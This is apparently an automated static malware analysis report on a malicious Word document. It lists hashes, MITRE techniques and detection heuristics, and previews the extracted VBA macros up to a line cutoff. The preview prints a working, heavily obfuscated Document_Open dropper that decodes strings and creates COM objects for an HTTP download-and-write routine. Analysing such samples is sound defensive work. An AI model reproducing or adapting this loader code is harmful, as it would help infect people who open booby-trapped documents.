Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 585de1cecf01e845…

MALICIOUS

Office (OLE)

335.5 KB Created: 2018-08-17 23:06:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: 09daecfbeaee36bfa31c64c7b14ad0c1 SHA-1: a5a7d5ca96e641ebe5459bf62f151fa0c72b0b78 SHA-256: 585de1cecf01e845121c5f0d3ab2f25f45d8dec4656801c11c1c62ccfddb01b8
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA macros within this document are designed to download and execute a file from an HTTP URL. The 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristic further suggests a sophisticated loader mechanism. While the specific URL is benign, the presence of these critical heuristics strongly points to a downloader functionality, likely for a second-stage payload.

Heuristics 10

  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        ZZvtFIJ = TMzGx.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set HuwBMkIt = GetObject(wZNlCq("w#XiyrnyXmKCg%zm ftf.som:AZ\Ry\-X.A \..r No mo ktpS\lXc%Ri omyWvP 2 c"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set TMzGx = CreateObject(wZNlCq("Mwyi .c xrO oCVsi(o#Wf jtBl.j XwUMs]L^NHEfT]RTj-P@G"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set HuwBMkIt = GetObject(wZNlCq("w#XiyrnyXmKCg%zm ftf.som:AZ\Ry\-X.A \..r No mo ktpS\lXc%Ri omyWvP 2 c"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        NaYgvtY = Environ(wZNlCq("AK(pM pcVD#Aa !tYca#s"))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 161168 bytes
SHA-256: daa10d96ffdccfd6fc386d4a74571f9bf09db4c8fdfa6619281d1094037256f0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
797 of 1269 identifiers look randomly generated (e.g. 'wcubegqsGasjiSYYtWZa') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Public IlPxv As Boolean
Private Sub Document_Open()
    ofigNif = 778 + 1338 + 745
    vxXfyklVpbf = Left(" $t Os AK)d", 5)
    QjHScW = Left(" d x Q^&tk Z", 2)
    yZxyDJvlux = RTrim("fP qD]X ^) [xUU")
    gYrlxLCTizHu = RTrim(" !y -v a!uP")
    While oiGoKs < 5
        While YgDmqb < 3
            QjHScW = Right("Zc ! @KiU  &", 3)
            tQuWtho = UCase(" q xWS[Xj X Nr")
            BRbQWGztHXve = 1361 - 360 - 546
            tfdul = "NvgKiRwCf  h y" + ")H_CYMDVhpm O Z AWIn" + " [ AxGIyEY&"
            gYrlxLCTizHu = Space(15)
            DXliZU = UCase("B QvZ %v C@^CbaM")
            fMSVEgkiTQ = Space(20)
            ofigNif = 255 + 1401 + 1566
            YgDmqb = YgDmqb + 2
        Wend

        PIMAZNcECI = StrReverse("cw(G&JyOs #")
        AJYkZr = UCase("# g NU?f&dhcK")
        oiGoKs = oiGoKs + 3
    Wend

    sBFXeK = UCase("bZ Rf rYRj")
    DmWwoGQtu = StrReverse("YmEJ o S R nZ ")
    pkOPJqQ = Left("mLeB ! [Nly YL@uH ", 2)
    xNhkX = Right(" DMrt joylg", 3)
    NFHeINmDenRm = StrReverse("abT(SPY@hMCIMz%i")
    UQCrGhIQO = 1717 - 1554 - 1036
    For GnxTBB = 0 To 7
        EdFTnkb = LTrim("hT U] &PmP iy Ymo")
        vxqGmzQ = LTrim("FXpQ kZ iW")
        mrkMobRFsp = StrReverse("mx H#XM. [b .H  ")
        xNhkX = " z  S bE^ . " + "fG&ToczbwbVpmpTT" + " R ? jRb?-  KmsC"
    Next GnxTBB

    vxXfyklVpbf = UCase("  sHg-g  ICi fxZYsT")
    While dlVZVr < 5
        vxqGmzQ = Space(11)
        DXliZU = 1339 + 834 + 1816
        aBOyirt = 1468 - 434 - 316
        JUZhE = RTrim("@CLpYqNC__u -fS ")
        BRbQWGztHXve = 1160 - 1644 - 739
        dlVZVr = dlVZVr + 1
    Wend

    WLGcZrXvvb = UCase("RW[u [fdeB UW")
    For LimtfM = 0 To 5
        While wrtMxW < 4
            NFHeINmDenRm = Left("EMZLAd QP$ lh  h!&", 3)
            AJYkZr = StrReverse(" Z# c.l- V o]P RZ $")
            QjHScW = Right("osnuFt y !LM(", 3)
            hZMGYicfd = StrReverse("#cer[ Z Kd y ")
            HLrkyyVMMfDI = LTrim("f% #)ol^ BxHf")
            JUZhE = Left(" xWUli YHBDk dMM", 5)
            ofigNif = Space(8)
            DzsWWGxx = Space(16)
            dZjMSlQrWsH = LTrim("nK^[OcW %[  vt")
            pkOPJqQ = 1431 + 823 + 902
            wrtMxW = wrtMxW + 2
        Wend

        tQuWtho = 740 + 1413 + 1354
        UQCrGhIQO = Space(18)
        DzsWWGxx = Right("IT$v n-ov- Ur Vq", 5)
    Next LimtfM

    vxXfyklVpbf = Space(9)
    ofigNif = StrReverse(" rXvN(q)$ KA BvO _Q")
    XioKNGIZJ = UCase("S$ UGR! _Cxm  Hsx[")
    If IlPxv = True Then
        Return
    End If
    pUiwcYiIqa = 955 - 1500 - 674
    mevEuFSvSlzr = Right("oh DA[.SO -", 3)
    mevEuFSvSlzr = 1463 + 871 + 1045
    UQCrGhIQO = Left(" Sr BCtpCj] ", 3)
    For oYwJCg = 0 To 5
        For tjTfqR = 0 To 5
            fMSVEgkiTQ = 1548 + 1597 + 1435
            DXliZU = Left(". z ^xj-xZa ?VD.q] ]", 5)
            UQCrGhIQO = 488 + 493 + 1614
            yZxyDJvlux = Right("cFB? s G A", 5)
            mrkMobRFsp = 330 - 375 - 951
            DzsWWGxx = Space(11)
            BRbQWGztHXve = Space(20)
            oqOqqWho = Space(5)
            sBFXeK = "  JJ^[ka qNiPSUMT  " + "U wZ&Q b  HK A_Bc& o" + "GI DJ Ag R "
        Next tjTfqR

        dZjMSlQrWsH = 1298 - 320 - 1454
        EdFTnkb = 1943 + 1475 + 1640
        tHwDKmb = RTrim("(h?Ic Dl_f(]?$Ihh-r")
    Next oYwJCg

    IlPxv = True
    XioKNGIZJ = Right("f.e GfpkI$K", 5)
    tfdul = UCase(" Trbnhw((l VaI DA]")
    NFHeINmDenRm = StrReverse("KnZH V@DDO  qXL% jg")
    mevEuFSvSlzr = LTrim("OaX^HY$ ? ")
    bhfpjPtTfMP = RTrim("hu XB kEKJRv $    yb")
    jOZlNIcKIC = StrReverse(" V y D&VC[e C  %y $")
    While KUgwxh < 2
        While uVXAWw < 4
            XioKNGIZJ = Space(20)
            XioKNGIZJ = LTrim("OM f% a^   (C T ")
            QjHScW = Left("!YK[  M aaI S .$", 4)
            gYrlxLCTizHu = 939 - 174 - 997
            dZjMSlQrWsH = RTrim("RZ#r mX ytK YNg%O(")
            AJYkZr = " dSi[DEi! c UQ" + "r]Y jv  DL" + "!p  B dqb n%VLDF X "
            tHwDKmb = RTrim("uYb ldm_ gF] S [uu")
            ofigNif = Space(8)
            tHwDKmb = ".gF!-a(c$elQMq  " + "]SBLaxV Y r   ^)" + "]FU. Mo  INdx["
            gYrlxLCTizHu = StrReverse("f.#A  &p  HB F  ")
            uVXAWw = uVXAWw + 3
        Wend

        vxXfyklVpbf = 1308 - 1479 - 1717
        tHwDKmb = StrReverse("L C% p m-. pD ih -O")
        KUgwxh = KUgwxh + 2
    Wend

    NFHeINmDenRm = Left("PH& nV)  tQnd   [ R ", 4)
GktNCVX "TNxINRJ", "uEMCaEi", "rFQBkQbB", "GOQnfla"
    NaYgvtY = Environ(wZNlCq("AK(pM pcVD#Aa !tYca#s"))
    DmWwoGQtu = StrReverse("(?jxDvO iRfxD_ y ot ")
    WLGcZrXvvb = 793 + 1325 + 1755
    bhfpjPtTfMP = 1109 - 1574 - 1475
    DmWwoGQtu = "qYB JMeVnb@z hg MBC#" + "]FY-Ly  MX@tvX rw" + " OuGNR b?EsoGc _"
    Dim JeLkvf As String
    SjdmFyAeQw = Space(1)
    cQYOSbc = 1199 - 1373 - 547
    hZMGYicfd = StrReverse("a n[V$UI -.")
    EdFTnkb = LTrim("Dh png]eux] FUOZ")
    While ENTuLU < 3
        While LJPEom < 1
            sBFXeK = UCase("Vg  uopkCEH TFG[MM")
            jOZlNIcKIC = Left("BV(nfA$G   A", 2)
            UceDGEPB = LTrim(" qd   G[yA")
            gYrlxLCTizHu = Space(18)
            DzsWWGxx = LTrim("  d  B goy@c u")
            LJPEom = LJPEom + 2
        Wend

        hZMGYicfd = Right(" zPM [#BPAyK%c]opwE", 4)
        EdFTnkb = Space(20)
        DmWwoGQtu = Left("Ka Fx-ro#s-Nx  u t ", 4)
        ofigNif = Left(" bKFVrhoIPKKu", 2)
        SjdmFyAeQw = Right("?X  G&xpZ?mOoFMC[$", 5)
        pkOPJqQ = Right("b #x#& SPEn", 3)
        XioKNGIZJ = Space(16)
        aBOyirt = StrReverse("_ZK  jS sr   bD")
        ENTuLU = ENTuLU + 1
    Wend

    For SfqGrC = 0 To 2
        For xWhpDo = 0 To 9
            gYrlxLCTizHu = RTrim("$ZTA  ?& @I   ")
            AJYkZr = 1591 - 1080 - 199
        Next xWhpDo

        yZxyDJvlux = UCase("$UnhVs@NDZ  $ ")
        tfdul = Space(6)
        NFHeINmDenRm = UCase("No QvM $(?")
        SjdmFyAeQw = 1091 - 502 - 743
        UceDGEPB = Space(18)
        gYrlxLCTizHu = Left(" zmj  ^G J&KE", 2)
        pkOPJqQ = UCase(" VToGTL )mY] L")
        hZMGYicfd = "XsQAn A  xKq   " + "t Cmw  b]rG%T B" + " .%% a A Q j jr "
        HLrkyyVMMfDI = 1958 + 1554 + 1495
        mevEuFSvSlzr = LTrim("i]  llXFkvNu")
    Next SfqGrC

    dZjMSlQrWsH = 867 + 1107 + 201
    mrkMobRFsp = UCase(" o   $V   t E Qz@Vkr")
    JeLkvf = "FfG"
    While LmBDrX < 2
        For dPgkvZ = 0 To 5
            XuPHqvEARmk = StrReverse("l&Sd bAobR  )i")
            QjHScW = 1218 - 775 - 118
        Next dPgkvZ

        gYrlxLCTizHu = "n g   HHdIX" + "   nx?Dcb PSa" + " A)v Wph  #?q %   "
        mrkMobRFsp = 174 + 928 + 628
        SjdmFyAeQw = Space(14)
        vxqGmzQ = Left("B d (XFL @F  Pc", 4)
        pkOPJqQ = UCase(" D MuojrQlN?")
        tQuWtho = 676 + 441 + 161
        LmBDrX = LmBDrX + 3
    Wend

    vxqGmzQ = 828 + 344 + 1021
    EdFTnkb = "  g OYjtT)^kWIAJ" + "jUjq DR ?  " + "B#Jw A @Tym"
    While pfrFQw < 4
        For qqBzHw = 0 To 9
            JUZhE = Space(5)
            yZxyDJvlux = Space(5)
            jOZlNIcKIC = Space(15)
            FLrdTjglwqu = RTrim("O-  w$dp cWMN   ")
            UQCrGhIQO = Left("f  ! mT YRNx j(U", 4)
            SjdmFyAeQw = 144 + 1268 + 1950
            pUiwcYiIqa = Space(17)
            UQCrGhIQO = Space(5)
        Next qqBzHw

        cQYOSbc = Space(17)
        sBFXeK = Space(9)
        HLrkyyVMMfDI = RTrim("U^VE c?PfR")
        pkOPJqQ = RTrim("g M lPnz !P")
        tfdul = RTrim("kL[AuHu  I% $!.  -")
        pfrFQw = pfrFQw + 3
    Wend

    UQCrGhIQO = Space(7)
    cQYOSbc = Space(11)
    FLrdTjglwqu = 1865 + 399 + 711
    SjdmFyAeQw = 226 + 541 + 1482
    JeLkvf = JeLkvf + "O L"
    mrkMobRFsp = UCase("   G%( QE U OT")
    While XQNMaE < 2
        While pTegys < 4
            vRTiU = " DZ  LJHgSCc [" + " -n pB  r  TpUaI% w" + "EUypO z q&  Jkd"
            vxqGmzQ = RTrim(" GAIfP@nTeDa Lm    ")
            UQCrGhIQO = "Q!  g.eCKTSo" + "V_[R V  Xde" + "l UMjjdvCo% ]RZQm"
            dZjMSlQrWsH = 986 - 1446 - 1398
            xNhkX = Right("Sx(tWW .u!", 4)
            DXliZU = UCase("SPS^&nCEk() h")
            pTegys = pTegys + 1
        Wend

        mevEuFSvSlzr = "o  aTYc.? Z  ]j$x " + "_l  Pue EcwuOQ" + " Dg.-j (^B"
        JUZhE = RTrim("]F%qHi IIPqVn A z P")
        UceDGEPB = 1909 - 843 - 1661
        JUZhE = Left("wu-Mpl E m)%y&. pu p", 3)
        DmWwoGQtu = StrReverse("eLIJr #eW -n")
        vRTiU = 1711 - 1253 - 568
        XQNMaE = XQNMaE + 3
    Wend

    sQGBaeQYyxAf = Space(16)
    While UjQYKH < 1
        For xjHOWA = 0 To 8
            bhfpjPtTfMP = Left("k#  Q_ Q gWJ ", 2)
            mevEuFSvSlzr = Right("zRt P@P BW@K U    @(", 3)
            UQCrGhIQO = RTrim(" I( K nA^YJDO")
            bhfpjPtTfMP = 194 + 1512 + 795
            FLrdTjglwqu = 1983 + 760 + 182
            cQYOSbc = "%  FBVk  UnjK    A#x" + " Q?K t s vB" + "l %NGz&uPLE% _GU A"
            XioKNGIZJ = 416 - 265 - 568
            gYrlxLCTizHu = 798 - 587 - 662
        Next xjHOWA

        xNhkX = Space(19)
        tfdul = StrReverse("IT M% SR(Hofy qsg ")
        UjQYKH = UjQYKH + 1
    Wend

    fMSVEgkiTQ = Right("   byvl OTovJCZk]", 3)
    JeLkvf = JeLkvf + "L  "
    DzsWWGxx = Right("  G     &RBy.B", 5)
    pUiwcYiIqa = "_ZxiSxrk xGa(  " + " v ^ nK %qG E% " + "rn)M wOZT? iw QKZr"
    JeLkvf = JeLkvf + "Del"
    sBFXeK = RTrim("  tA IELAeS&b h)zQ(s")
    FLrdTjglwqu = 280 - 1098 - 1184
    For JAOvXo = 0 To 3
        While LYLSAc < 5
            DXliZU = UCase(" GcC)Nc#oW plJ")
            DXliZU = UCase("d  FM$FvW     ")
            mrkMobRFsp = Left(" Zs  Bq mNeS# ", 2)
            sBFXeK = Right("@S  bx-p B uH^^%   k", 3)
            QjHScW = 563 + 1384 + 1896
            FLrdTjglwqu = Left("D K dvQ)d&MKS PkQSo", 3)
            XioKNGIZJ = LTrim("NE&KTX Nmc  C")
            mrkMobRFsp = LTrim("D k ^  y  )")
            LYLSAc = LYLSAc + 3
        Wend

        mevEuFSvSlzr = RTrim("DePAQG nPv  V@UXt ")
        sBFXeK = "[ X$_oNEkh Gsj@  " + " n v@u-L rKZ Y" + "T!$YE wEL q _ N"
        AJYkZr = 650 + 1204 + 1837
        tQuWtho = Left("CD ]J?kmb [az r c[t", 4)
        hZMGYicfd = Space(2)
        AJYkZr = RTrim("oiaV^d  l  @FLq vZk")
        mrkMobRFsp = 1973 - 1912 - 1952
        tQuWtho = 1713 + 321 + 1078
        DXliZU = Left("[Gf Z]m m ", 3)
        bhfpjPtTfMP = LTrim("FZ Q (ufe%TZdw?&")
    Next JAOvXo

    For CRgZaN = 0 To 5
        JUZhE = "  M^V@K tu Vi  W c" + "sQ.a##f. [HE^" + "I #MGG nR [gn@  pt"
        XuPHqvEARmk = UCase("#!U #yTC M  Z VgT L")
        pUiwcYiIqa = Left("^V_ W Qb # OVp", 4)
        sBFXeK = UCase("E$xX  MkOHtwVAs_")
        FLrdTjglwqu = Right("] y  $CQD r gO.", 4)
        jOZlNIcKIC = StrReverse("$t!QFs]DJw_")
        jOZlNIcKIC = StrReverse("E X %.Tk YJ")
    Next CRgZaN

    FLrdTjglwqu = Space(2)
    JeLkvf = JeLkvf + "E T"
    For zdSMQt = 0 To 9
        WLGcZrXvvb = Right("%La! hmAAgCW S Cm  ", 3)
        fMSVEgkiTQ = 846 - 627 - 1679
    Next zdSMQt

    XuPHqvEARmk = 149 - 508 - 1733
    dZjMSlQrWsH = Space(9)
    gYrlxLCTizHu = "J   (&x   Xcu" + "PQ f ) L!?nsJP a" + " VMYB-YKs$Gl^@A "
    JeLkvf = JeLkvf + "RHd"
    XuPHqvEARmk = 1991 - 387 - 681
    While UZusfU < 1
        pUiwcYiIqa = Space(7)
        DmWwoGQtu = UCase("E@EI MSx UM")
        UZusfU = UZusfU + 3
    Wend

    While SgYHcL < 1
        While wrFkEb < 5
            BRbQWGztHXve = 284 + 1064 + 1567
            pUiwcYiIqa = StrReverse("F)lF C-yzi &- dFg M")
            JUZhE = UCase("Zu&(gFst#o @?S oEg")
            UQCrGhIQO = 641 + 106 + 1152
            XioKNGIZJ = "R@sQ^ypI ]XQgvO" + "CT]aiT gae_ v" + "& UQpLHl!QLGA[  fU"
            sQGBaeQYyxAf = 854 + 1816 + 885
            mevEuFSvSlzr = 1911 + 1959 + 1597
            sQGBaeQYyxAf = StrReverse(" N _ JLVePxD-H G _Q")
            wrFkEb = wrFkEb + 2
        Wend

        vxqGmzQ = UCase(" i AqA)l    w@  tnI")
        XuPHqvEARmk = Space(19)
        sQGBaeQYyxAf = StrReverse(" e) (Si.DSHq  jDk o?")
        QjHScW = UCase("M e cUN  !#hwk%(GS L")
        aBOyirt = UCase(" AkOz-Z #^h[")
        vxXfyklVpbf = Space(7)
        vxqGmzQ = StrReverse(" X)E?E! zeD mj")
        cQYOSbc = UCase("nLI#EH  A D! EQM ")
        SgYHcL = SgYHcL + 2
    Wend

    JeLkvf = JeLkvf + "\yD"
    sQGBaeQYyxAf = Right(" Q@O]ga OE ", 3)
    SjdmFyAeQw = RTrim("hMM.WsX z ST   QYPxP")
    DmWwoGQtu = Left("e  FN[bnGW OBw Q  ", 4)
    DzsWWGxx = RTrim("eA  O )K$i Boq( ?VB")
    JeLkvf = JeLkvf + "n--"
    tHwDKmb = Left("T  Ef n@x$s  VGQ", 2)
    gYrlxLCTizHu = LTrim("KN (   W f  DW _ )")
    SjdmFyAeQw = 1925 - 854 - 367
    JeLkvf = JeLkvf + "R t"
    tQuWtho = 582 + 1229 + 868
    NFHeINmDenRm = " m_RqZe CN?V " + "CsQQI  G).nSNh" + " b q   x[#N M"
    JUZhE = Space(8)
    hZMGYicfd = 1314 + 1796 + 1583
    JeLkvf = JeLkvf + "wSP"
    fMSVEgkiTQ = Right("#GH KrtM Y", 3)
    mevEuFSvSlzr = StrReverse(" bLeVienuKP  s  mJB")
    aBOyirt = 444 - 915 - 1185
    JeLkvf = JeLkvf + "cG "
    tfdul = UCase("t[   wDLV q.rK")
    tHwDKmb = Space(10)
    FLrdTjglwqu = Left("Gy JknbqR?$QO ", 5)
    aBOyirt = Space(18)
    JeLkvf = JeLkvf + "L@%"
    gYrlxLCTizHu = Space(15)
    pkOPJqQ = Right("O^ ARI]idKzIpvB V", 2)
    For ItWmAk = 0 To 10
        hZMGYicfd = 1559 + 1927 + 1859
        tQuWtho = LTrim(" r n #_[g N Yj whk)R")
        ofigNif = 721 - 571 - 444
    Next ItWmAk

    tfdul = RTrim("  G xei( i")
    For bFkDDu = 0 To 2
        While BjunnU < 1
            WLGcZrXvvb = Right("  nT ay(KD]^]zu ", 2)
            vxqGmzQ = Left("vM Mt!b uNCXztJ NC", 3)
            tfdul = StrReverse("Z_?C  y[ ) zg vuAW $")
            tfdul = Right(" Hfd AI[)f", 4)
            QjHScW = UCase(" &Py L? h ")
            oqOqqWho = LTrim("S knpnXdR ")
            SjdmFyAeQw = Left("(huexIl$V$tEGez@QPW]", 3)
            tfdul = UCase(".)eeo bP% ")
            mrkMobRFsp = Right("VKr HXKrN PT  ($DgR", 5)
            PIMAZNcECI = Right("#  O@ ]uf?OP", 2)
            BjunnU = BjunnU + 2
        Wend

        vxqGmzQ = RTrim("ZGm$[w?(BcghJ_")
        hZMGYicfd = Space(15)
    Next bFkDDu

    JeLkvf = JeLkvf + "Ep&"
    BRbQWGztHXve = Left("pzA O &G BN", 4)
    oqOqqWho = 1131 - 1541 - 1244
    For vMuvji = 0 To 9
        JUZhE = 1144 + 321 + 1670
        JUZhE = 966 - 1719 - 252
        ofigNif = RTrim("l d %Bh!yCl_ ")
        oqOqqWho = 1080 - 1623 - 265
        cQYOSbc = Space(8)
        mrkMobRFsp = RTrim("o Xtl WYasaEYDKRrd")
        NFHeINmDenRm = StrReverse("    i] wIvP pK i zD")
        BRbQWGztHXve = 442 + 1945 + 1934
        XuPHqvEARmk = LTrim("c.p  w  Eg  ?B-u@m")
        aBOyirt = Right("kY[[ im    #y", 5)
    Next vMuvji

    NFHeINmDenRm = 1168 - 1200 - 1636
    JeLkvf = JeLkvf + "bC@"
    DzsWWGxx = RTrim("j  N  pWiS-")
    mrkMobRFsp = 1701 - 986 - 1135
    JeLkvf = JeLkvf + ".dh"
    DXliZU = " #F  DX$h-KA  " + "%tb IMAz  f)K" + " V  (u%   u   ^#U "
    jOZlNIcKIC = StrReverse("& @IQjIAObD (n ")
    For uyLnVd = 0 To 5
        While SxoQcg < 3
            tfdul = RTrim("B%e.VoW^&  .M T(  L")
            vRTiU = UCase("RgG  % cBGJ J$ h")
            SjdmFyAeQw = StrReverse("GSc XtG Ps^vMJ    Zm")
            vxqGmzQ = 1733 - 1914 - 1353
            oqOqqWho = Right("Xd%@Rr P_wcsi", 2)
            mevEuFSvSlzr = UCase("Es@@Zdf    wb")
            yZxyDJvlux = RTrim("CA dik-fZpp CPl")
            XioKNGIZJ = LTrim("DnOv JJ  V")
            SxoQcg = SxoQcg + 1
        Wend

        HLrkyyVMMfDI = RTrim("q ]%&M ou!")
        HLrkyyVMMfDI = RTrim("   . G dDh")
    Next uyLnVd

    bhfpjPtTfMP = LTrim(" d w_WHcwx[")
    JeLkvf = JeLkvf + "e&["
    vxqGmzQ = UCase(" FyxT V&et")
    NFHeINmDenRm = Left("bX? s  Yz$$ S  ", 3)
    oqOqqWho = UCase(" h oT dkPbX ZcoZV r)")
    JeLkvf = JeLkvf + "x y"
    tQuWtho = StrReverse("w^D f^d.sogJuT) ")
    yZxyDJvlux = " iefJhK^dr sa FsRy" + "f^U] -%bgDpXCT" + "o gjI CfgwVGO"
    vxqGmzQ = StrReverse("Jn-yZvhs bn I  %Qd")
    DzsWWGxx = "_ dfK@nR veRWHe  " + "i@lP% _ @  Ry uH i " + "?sQEW  sdHU wVVBX"
    UceDGEPB = 1868 - 1812 - 770
    JeLkvf = JeLkvf + "ehm"
    While QJaooq < 3
        While NzwTGW < 5
            NFHeINmDenRm = Right("x KaU H   IsNYI  tA", 5)
            vRTiU = Left("]q K $ qp%Zx", 2)
            NzwTGW = NzwTGW + 2
        Wend

        JUZhE = Space(13)
        DXliZU = UCase(" psuiH#] -&")
        pkOPJqQ = RTrim("  )GbP Hse.o")
        NFHeINmDenRm = LTrim("S&$ s  I%U U")
        ofigNif = Space(6)
        QJaooq = QJaooq + 3
    Wend

    DmWwoGQtu = UCase("  M)t(x&@Z A ")
    aBOyirt = LTrim("% SVQ  ^HXM")
    JUZhE = 1135 - 1082 - 1181
    tHwDKmb = UCase("@  dm)TiVe( -")
    JeLkvf = Replace(wZNlCq(JeLkvf), "FOLDER", Environ(wZNlCq("A@.pVzplKDu ac tkEa G")))
    jOZlNIcKIC = UCase("A %aW [.Hj")
    bhfpjPtTfMP = "k.zz G t@nvJ[tt" + " DT&iPaPbhbDArSYHJr" + "k J[^u  Zt #Z"
    BRbQWGztHXve = Left("$)wTe   yib", 5)
    bhfpjPtTfMP = Left("$Q  C qeis&^ Y%", 4)
    For eYsGxw = 0 To 5
        DXliZU = UCase("TF#] SO RUxo CH")
        XuPHqvEARmk = Right("P%V@ g-b[W", 3)
        dZjMSlQrWsH = StrReverse("uqhzhP%_UA( sYxeL")
        vRTiU = 1970 - 231 - 1194
        bhfpjPtTfMP = RTrim(" m c ZI HuzI")
        yZxyDJvlux = StrReverse("BvCX#JK   J &n%WS U ")
        sBFXeK = StrReverse("%Q DySw - iah  t")
        DzsWWGxx = 1274 - 860 - 704
        QjHScW = Left("%pYyNC$  o O#g", 3)
    Next eYsGxw

    For YAKYxx = 0 To 7
        vRTiU = RTrim("&BOQQ X hUxEp?Y")
        sQGBaeQYyxAf = StrReverse("Qbw bA (@K o YGFS")
        vRTiU = StrReverse("XJuAE] RsD i")
        oqOqqWho = LTrim("M  ^i!vr XAV")
        DXliZU = RTrim("rNXGlTa- k  SwDBB ")
        QjHScW = 796 - 1824 - 1720
        dZjMSlQrWsH = StrReverse(" %BcVQ  J$ cRUm  ERS")
        AJYkZr = 481 + 282 + 1830
        XioKNGIZJ = LTrim("NU w)TgAcrMWJ ?GL^ ")
    Next YAKYxx

    While BCpfuF < 4
        JUZhE = Space(5)
        dZjMSlQrWsH = "  CaF$yYlnXGp" + "a$ _.baQ@eZUm.L" + "J!d?x N  [  [hX "
        SjdmFyAeQw = LTrim(" ^oOq   H v")
        BCpfuF = BCpfuF + 1
    Wend

    For NDNRtZ = 0 To 3
        For dmrOSy = 0 To 9
            tQuWtho = 624 + 1566 + 304
            vRTiU = Space(6)
            XuPHqvEARmk = Right("v$Dz  g]H?%eM", 4)
            oqOqqWho = ")B@LS e-Cw lMS]" + ")b]m uI -MLykpG" + "WCiE^_f VTS at"
            tHwDKmb = Space(11)
            sBFXeK = 105 + 1311 + 1982
        Next dmrOSy

        tHwDKmb = 1315 + 719 + 1701
        fMSVEgkiTQ = 393 + 932 + 462
        mrkMobRFsp = Left(" EKS[xB ( Z !Gk", 3)
    Next NDNRtZ

    mrkMobRFsp = LTrim("  TfP  STE ")
    DmWwoGQtu = Left("I  [c  euu&^e&!?", 5)
    ofigNif = RTrim("Jz  ?dSy N   l")
    mevEuFSvSlzr = Space(20)
    While TvZRG < 344
        While dAQdxh < 1
            For MrGspy = 0 To 6
                oqOqqWho = UCase("Sd t)  Zi Z% ")
                mrkMobRFsp = 1807 + 1608 + 1946
                XioKNGIZJ = StrReverse("rOrN g-- _.aFu")
                jOZlNIcKIC = LTrim("N)sq lZ PflvS wthJ#I")
                cQYOSbc = 939 + 538 + 584
                tHwDKmb = LTrim(" ^ ybsQ xF-? (V ]F")
                sQGBaeQYyxAf = 1001 - 1952 - 550
            Next MrGspy

            xNhkX = StrReverse("ZIDSX zFB$DR BgB Tt")
            aBOyirt = Space(9)
            DXliZU = 1743 - 915 - 1569
            FLrdTjglwqu = LTrim("e(   X iT ")
            tQuWtho = RTrim("]G_EtjP Eg( f pfuoo")
            PIMAZNcECI = 188 + 983 + 1873
            DzsWWGxx = LTrim("SO%.k !Z$o")
            yZxyDJvlux = UCase("K^  PjRVwFVT sJ p")
            DmWwoGQtu = StrReverse("IxGV  eJOpXPUe ?")
            dAQdxh = dAQdxh + 3
        Wend


        For NUWVeF = 0 To 10
            UceDGEPB = RTrim("l A yaUwo O  $y")
            dZjMSlQrWsH = Right("F  &!j.I zUg %  a", 4)
            gYrlxLCTizHu = 206 - 612 - 1334
            PIMAZNcECI = Space(10)
            pUiwcYiIqa = Right("Mz  _oZE cm P", 4)
            vRTiU = StrReverse("Z    k%k [Qs_Y")
            tHwDKmb = UCase("Y I  Ws DrGPIs t   J")
            vRTiU = Space(14)
            bhfpjPtTfMP = Right("Z^CbwzU# ? NGM ", 4)
        Next NUWVeF


        For koHRsA = 0 To 5
            For bvmcQT = 0 To 10
                pkOPJqQ = Right("zp $O(%[lWe  ", 2)
                AJYkZr = Space(8)
                oqOqqWho = Left("g S_  dqm YjjI", 3)
            Next bvmcQT

            pkOPJqQ = UCase("G]Pr!Neg ?_ -eP")
            vxXfyklVpbf = Left("   h$Q ?  ", 5)
            vxXfyklVpbf = 136 + 371 + 895
            UQCrGhIQO = LTrim("^[GP! bP .f   TotO")
            gYrlxLCTizHu = RTrim("& &  MrH URb]M")
        Next koHRsA


        If TvZRG = 302 Then
            WLGcZrXvvb = Left("LUV    Xz Cwi", 2)
            vBUQZCHjCu JeLkvf, "OnlEmr", "aoTLVFM", "EQiRw", "hDiAJhZAE", "WQcks", "qAyjZCqk", "nlJGdzK", "DgmxLirml"
        End If
    TvZRG = TvZRG + 1
    Wend
    While EqSujv < 5
        While ILCeyR < 3
